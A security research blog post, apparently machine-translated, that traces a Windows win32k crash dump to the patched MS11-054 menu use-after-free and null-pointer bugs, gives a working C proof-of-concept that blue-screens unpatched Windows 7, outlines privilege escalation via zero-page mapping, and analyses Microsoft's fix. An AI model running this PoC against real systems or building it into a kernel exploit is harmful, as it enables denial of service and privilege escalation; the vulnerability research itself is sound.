from dump to poc series i: analysis of the vulnerability of win32k kernel

Posted by lipsius at 2020-03-19

1. introduction

Recently, a colleague gave me a blue screen dump of win32k, saying that it was encountered in the development of new interface programs.

After analyzing the minidump, the author found that this was caused by the use after free / null pointer dereference vulnerability in the menu window object of Win32k.sys.

After further analysis, the author finds that this is actually a series of win32k vulnerabilities that have been patched in 2011. Microsoft bulletin number is ms11-054, involving eight CVEs (cve-2011-1878 ~ cve-2011-1885), which were reported by tarje mandt (@ kernelpool), the kernel vulnerability leader of Norman, a Norwegian security company at that time. Relevant details have not been disclosed.

Although these vulnerabilities have been patched more than a year ago, the details have never been disclosed. Starting from the purpose of understanding the kernel security issues and the internal mechanism of win32k, the author decided to write this document, starting with dump analysis, to the analysis of vulnerability principle, to the reappearance and utilization of vulnerabilities, and finally to the analysis of the impact function and patching methods of vulnerabilities, to reappear "dump to Po" completely The whole process of "C".

2.Dump analysis

First, we turn on the dump of the crash. According to the analysis of WinDbg, the BUGCHECK that occurs is: kernel? Mode? Exception? Not? Handled? M (unhandled kernel exception)

The exception code is status? Access? Violation. The fault is located in win32k! Xxxdestorywindow + 0x32. The reason is that null pointer is accessed. The exception stack is as follows:

kd> kb ChildEBP RetAddr Args to Child 90a0fb78 95768a5c 00000000 9584e480 fe320168 win32k!xxxDestroyWindow+0x32 90a0fbb8 95768d13 00000001 00000000 00000000 win32k!xxxMNCancel+0x121 90a0fbd0 95769de6 9584e480 fe52fdd8 9584e480 win32k!xxxMNDismiss+0x12 90a0fbf0 9575fb93 9584e480 fe320168 9584e480 win32k!xxxEndMenuLoop+0x23 90a0fc38 9576f71b fe320168 9584e480 00000000 win32k!xxxMNLoop+0x3f5 90a0fca0 957658a5 00000088 00004040 000004e8 win32k!xxxTrackPopupMenuEx+0x5cd 90a0fd14 83c5f42a 00020225 00004040 000004e8 win32k!NtUserTrackPopupMenuEx+0xc3 90a0fd14 778b64f4 00020225 00004040 000004e8 nt!KiFastCallEntry+0x12a

It can be seen from the stack that the problem is caused by NT service ntusertrackpopupmenuex. After calling the encapsulated win32k xxxtrackpopupmenuex function, enter xxxmnloop - > xxxendmenulloop - > xxxmndismission - > xxxmncancel, and finally enter the problem field function xxxdestorywindow. As the name suggests, this function is the internal function of win32k to destroy the kernel window object.

The failure of the xxxdestorywindow occurs just after entering the function. The reason is easy to locate. Let's look at the failure code of the xxxdestorywindow:

kd> u xxxDestroyWindow xxxDestroyWindow+34 win32k!xxxDestroyWindow: 956d0915 8bff mov edi,edi 956d0917 55 push ebp 956d0918 8bec mov ebp,esp 956d091a 83ec34 sub esp,34h 956d091d 53 push ebx 956d091e 8b1d58da8495 mov ebx,dword ptr [win32k!gptiCurrent (9584da58)] 956d0924 8b83b4000000 mov eax,dword ptr [ebx+0B4h] 956d092a 56 push esi 956d092b 8b7508 mov esi,dword ptr [ebp+8] //set esi 956d092e 8945f0 mov dword ptr [ebp-10h],eax 956d0931 57 push edi 956d0932 8d45f0 lea eax,[ebp-10h] 956d0935 33ff xor edi,edi 956d0937 8983b4000000 mov dword ptr [ebx+0B4h],eax 956d093d 8975f4 mov dword ptr [ebp-0Ch],esi 956d0940 3bf7 cmp esi,edi 956d0942 7403 je win32k!xxxDestroyWindow+0x32 (956d0947) 956d0944 ff4604 inc dword ptr [esi+4] 956d0947 8b16 mov edx,dword ptr [esi] //esi = 0x00000000

The last line in the code is the place where null pointer reference occurs. ESI = 0x00000000, and the source of ESI is also clear at a glance. It is the first parameter from xxxdestorywindow, namely the pWnd pointer of the window to be destroyed.

In this way, xxxdestorywindow is not a responsibility function, so it should be caused by the null pWnd pointer passed in by xxxmncancel. Let's look at the implementation of xxxmncancel. First, look at the code nearby when xxxmncancel calls xxxdestorywindow:

kd> ub xxxMNCancel+121 L5 win32k!xxxMNCancel+0x10f: 95768a4a ff7608 push dword ptr [esi+8] 95768a4d 6a07 push 7 95768a4f e8e962faff call win32k!xxxWindowEvent (9570ed3d) 95768a54 ff7608 push dword ptr [esi+8] 95768a57 e8b97ef6ff call win32k!xxxDestroyWindow (956d0915)

As you can see, the parameters of xxdestorywindow are from DWORD PTR [ESI + 8]. Continue to see the following code. ESI is from the first parameter of xxxmncancel, with the structure of tagpopupwnd. In this way, we can see that the pointers of destroyed window objects are from tagpopupwnd - > spwndpopupmenu

kd> u xxxMNCancel la win32k!xxxMNCancel: 9576893b 8bff mov edi,edi 9576893d 55 push ebp 9576893e 8bec mov ebp,esp 95768940 83ec28 sub esp,28h 95768943 53 push ebx 95768944 56 push esi 95768945 57 push edi 95768946 8b7d08 mov edi,dword ptr [ebp+8] 95768949 8b37 mov esi,dword ptr [edi] 9576894b 8b06 mov eax,dword ptr [esi]

3. Principle analysis

Analysis of the relevant code shows that spwndpopupmenu is actually a pointer in the PopupMenu object to the menu window object to which it belongs. In order to understand why null menu object pointer is encountered here, we first study the relationship and formation mechanism between menu / PopupMenu objects.

By studying the internal mechanism of win32k, we can see that in win32k, the extended data of different types of window objects (wndextra) is attached to the back of the standard window object structure, while for the menu window object (tagmenuwnd structure), the attached data points to its PopupMenu object Pointer (ppopmenu, i.e. tagpopupmenu structure), and the spwndpopupmenu we meet here is the pointer to the menu window object to which it belongs in the tagpopupmenu structure

0: kd> dt tagPOPUPMENU -d spwndPopupMenu win32k!tagPOPUPMENU +0x008 spwndPopupMenu : Ptr32 tagWND

For the menu window object, the task of assigning tagpopupmenu and filling it into tagmenuwnd is completed in the function of xxxmenuwindowproc in response to the WM ﹣ nccreate message generated during window creation.

For the default window object of the kernel, the system will specify a special kernel window message processing function for it to achieve specific functions, and xxxmenuwindowproc is a function specially designed to respond to the window message of the menu window object, when the RING3 code calls SendMessage- >When ntusermessagecall sends messages to the menu window, or ring0 calls xxxsendmessage to send messages to the menu window, these kernel processing functions will be finally called after being encapsulated by fnid function. This function is very important for the kernel to manage menu window objects. We will talk about it later.

We can see this through the process of WM ﹣ nccreate message in the disassembly of xxxmenuwindowproc function in IDA:

ProcWM_NCCREATE: ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+179j cmp dword ptr [edi+(size tagWND)], 0 jnz loc_BF93F24A push 1 call [email protected]4 test eax, eax jz loc_BF93F24A mov [edi+(size tagWND)], eax or [eax+tagPOPUPMENU.posSelectedItem], 0FFFFFFFFh lea ecx, [eax+tagPOPUPMENU.spwndPopupMenu] mov edx, edi call @[email protected]8

We can see from the code (EDI is the window object pointer). The processing routine first determines whether the PopupMenu object pointer of tagwnd additional data (EDI + standard window structure length) is empty. If it is empty, mnallocpopup is used to create the menu window object The memory space of the PopupMenu structure (in fact, allocating memory in the session memory pool and initializing the structure), and writing the allocated PopupMenu pointer to the additional data of the menu window object.

Then, hmassignmentlock is used to lock tagpopupmenu.spwndpopupmenu to EDI, which is the pointer of its subordinate menu window object.

Let's go back to the function that triggers this problem: the working principle of xxxtrackpopupmenuex. All friends who are familiar with interface programming know that this is a function used to pop up a pop-up menu. How does it work in the kernel? Here is a brief list of the working process:

(1) . create menu window object: according to HMENU and other relevant parameters, create the final pop-up and display menu window (through xxxcreatewindowex)

(2) . allocate and initialize the menustate structure of the current thread (xxxmnallocmenustate)

(3) . calculate and set the relevant positions and properties of the menu window (through findbestpos / xxxsetwindowpos, etc.)

(4) . enter the menu cycle, display the menu and enter the cycle waiting for menu selection (xxxmnloop). Before entering the cycle, a window event of "event system menu popupstart" will be played through xxxwindowevent. This detail will be used later

(5) . if the menu is selected or cancelled, exit the loop and destroy the PopupMenu, menu window object and menustate structure (xxxendmenulloop, xxxmnendmenustate, etc.)

In dump, we see that the problem is in the process of xxxmnloop. When the menu selection is cancelled, xxxmnloop will try to exit the loop and call xxxmndispatch - > xxxmncancel to cancel the window display. One of the operations is to call xxxdestorywindow, To destroy PopupMenu - > spwndpopupmenu, which is the main menu window, the reason for the failure is that the pointer has been destroyed and null. Because the destroyed code does not judge whether it has been destroyed, it directly uses the pointer, thus causing a crash.

Therefore, the nature of the vulnerability lies in that the relevant calling function (in this case, xxxtrackpopupmenuex) does not check whether the corresponding pop menu structure has been destroyed or the pointer has been cleared, and it still continues to be used, and between the destroyed and used codes (xxxmenuwindowproc and Xxxtrackpopupmenuex and its subfunctions), lack of effective locking mechanism, resulting in use after free or null point dereference problems.

4. reproduce POC

The basic cause of the failure is clear, but there is another problem: how can the saved pointer of the popup window be destroyed before the loop ends?

Of course, we can't know which logic called to destroy the window object function in this dump scenario only through dump. But through analyzing the implementation code related to menu, we can see that there are many possible scenarios for destruction, and the most common one is the one that is most easily triggered In the xxxmenuwindowproc routine that we will go to earlier, let's take a look at the code that this routine accepts the message Mn ENU:

ProcMN_ENDMENU: ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+A1Bj push [esi+tagMENUSTATE.pGlobalPopupMenu] push esi call [email protected]8 test dword ptr [esi+tagMENUSTATE._bf4], MENU_STATE_MODLE_LESS jz loc_BF93F24A push TRUE call [email protected]4 jmp loc_BF93F24A

It can be seen from the code that when the routine accepts a Mn menu message and the menu state is model less (judged by the menu state), the xxxmenuwindowproc will call the xxxmnendmenustate to destroy the menustate of the thread, and also destroy and empty the spwndpopupmenu object related to the current thread pop menu.

That is to say, as long as after the process (2) of trackpopupmenuex and before the end of the process (4), the Mn ﹣ endmenu message is sent to the menu window object, this problem can be triggered.

After understanding the principle of the whole logic trigger, the author begins to try to construct the code and reproduce the problem in RING3.

As mentioned earlier, the key point to reproduce this is how to control the sending of destruction messages between process 2 and process 4. For the RING3 program, processes (1) - (5) are all completed in the process of calling the trackpopupmenuex API.

Another difficulty is that the menu window object we want to send the message to is created internally. After the trackpopupmenu is completed, it is destroyed and not output for us to use.

How to overcome difficulty 1? Is it implemented by multithreading competition conditions? There is a success rate problem. What about difficulty 2? By analyzing all window objects in win32k shared memory in RING3? Trouble, it's not universal.

After thinking for a while, the author noticed the "play" of the windowevent mentioned in the process (4). Let's see the nearby code implementation before the xxxtrackpopupmenu enters the xxxmnloop:

push ebx push ebx push OBJID_CLIENT push [ebp+pwndHierarchy] push EVENT_SYSTEM_MENUPOPUPSTART call [email protected]20 mov eax, [edi+tagMENUSTATE._bf4] mov ecx, [ebp+var_1C] push ebx push ebx and eax, 0FFFFFFF7h shl ecx, 3 push edi or eax, ecx push esi mov [edi+4], eax call [email protected]16

It can be seen clearly that before entering the xxxmnloop, an event "system" menu popupstart event is played through the xxxwindowevent. In the parameter, there is the pointer pwndhierarchy of the menu window object that we need. Because the window event of in context is called synchronously, register the in context window event for this thread Hook doesn't need any privileges, so here we find two solutions:

Use setwindoweventhook to register the hook for the event menu system menu popupstart event of this thread, and send the window destroy message directly in the hook routine.

Another small problem that triggers the problem is how to mark menustate as the style of model less, which can be done through the open API setmenuinfo.

As mentioned above, all problems have been solved, so write a complete program experiment:

My test system environment: clean win7 x86, no kb2555917 patch (or later for Win32k.sys patch), BSOD after running

The test code is as follows (GUI program):

#define MN_ENDMENU 0x1F3 VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) { SendMessage(hwnd , MN_ENDMENU , 0 , 0 ); return ; } void xxxMenu() { HWND hwnd = GetForegroundWindow(); HMENU hmenu = CreatePopupMenu(); MENUINFO menuinfo ; CHAR name[4] = "AAA"; MENUITEMINFO item ; menuinfo.cbSize = sizeof(menuinfo); menuinfo.fMask = MIM_STYLE ; menuinfo.dwStyle = MNS_MODELESS; SetMenuInfo(hmenu , &menuinfo); item.cbSize = sizeof(item); item.fMask = MIIM_STRING; item.fType = MFT_STRING ; item.dwTypeData = name; item.cch = 4 ; InsertMenuItem(hmenu , 0 , FALSE , &item ); SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART , EVENT_SYSTEM_MENUPOPUPSTART , GetModuleHandle(NULL) , WinEventProc , GetCurrentProcessId(), GetCurrentThreadId() , WINEVENT_INCONTEXT); TrackPopupMenuEx(hmenu , 0 , 0x100 , 0x100 ,hwnd , NULL ); return ; }

Of course, the POC given by the author here only constructs to trigger kernel access to null pointer and then cause kernel denial of service. In actual use, because in xxxmnloop, xxxsendmessage will be called to send message to corresponding pWnd window object, we can allocate zero page memory to forge The pWnd structure of the attack is used to stably implement arbitrary code execution and privilege promotion in the kernel. Here, the author will not publish the specific utilization code.

5. More in-depth analysis

With a stable triggering method, we can analyze this vulnerability more easily. Through analysis, we can find that many subfunction calls in xxxtrackpopupmenuex / xxxmenuwindowproc will trigger the problem of menu or PopupMenu window objects.

Here, the author briefly lists the functions and problems in the previous Win32k.sys in the same or similar situation:

xxxTrackPopupMenuEx->xxxMNLoop… Xxxmncancel - > xxxdestroywindow (the case of blue screen dump in this article): null pointer dereference

Xxxmenuwindowproc (in the code that processes WM? Size or WM? Move messages): null pointer dereference

xxxMNKeyFilter:Null Pointer Dereference xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):Use After Free xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):Use After Free xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):Use After Free xxxMenuWindowProc->xxxCallHandleMenuMessages:Use After Free xxxTrackPopupMenuEx->xxxMNEndMenuState:Use After Free

There are many problem codes involved, so there are so many vulnerabilities in ms11-054.

Finally, I want to explore how Microsoft fixed this problem in kb2555917? After untangling the patch and analyzing the upgraded files, we know that (the analysis target is the patch version of Win32k.sys, win7 x86 version of 6.1.7600.16830), Microsoft has enhanced the lock mechanism and delay release mechanism for the pop menu / menustate object, and fixed the null pointer problem:

A layer of encapsulation is added to the xxxmenuwindowproc. The past xxxmenuwindowproc functions are encapsulated into xxxrealmenuwindowproc. Before and after the call, the locking / unlocking processing is added. Some pseudo codes of the new xxxmenuwindowproc are as follows:

if ( !menuroot ) bIsLock = LockPopup(popupmenu) ++pMenuState->dwLockCount xxxRealMenuWindowProc((int)pwnd, msg, (HDC)wparam, (LPRECT)lparam, (int)pMenuState, fIsRecursedMenu) if ( bIsLock ) UnlockPopup(popupmenu)

At the same time, in order to support the lock pop menu mechanism, the tagpopupmenu structure is modified, the flockdelayedfree tag is added, the tagthreadinfo structure is modified, and the ppmlockfree link list is added.

Before entering the xxxrealmenuwindowproc, popup menu will be added to the lock delay free list of Win32 thread info (current GUI thread related structure), and the current PopupMenu will be marked as delayfree. After menuwindowproc is completed, it will unlock PopupMenu and allow the pop menu to be released.

When the thread exits calling xxxdestorythreadinfo, all PopupMenu objects in the tagthreadinfo linked list will be released

At the same time, the lock mechanism is added to the menustate object, the fmarkdestroy flag is added to the tagmenustate, and the xxxunlockmenustate is modified to encapsulate the xxxunlockmenustate internal, in which the fmarkdestroy recognition and delay release mechanism are implemented to prevent the use after free problem.

Fixed some problems of empty pointer reference counting in functions such as xxxmnendmenustate / xxxmnloop, and solved the problem of null pointer dereference.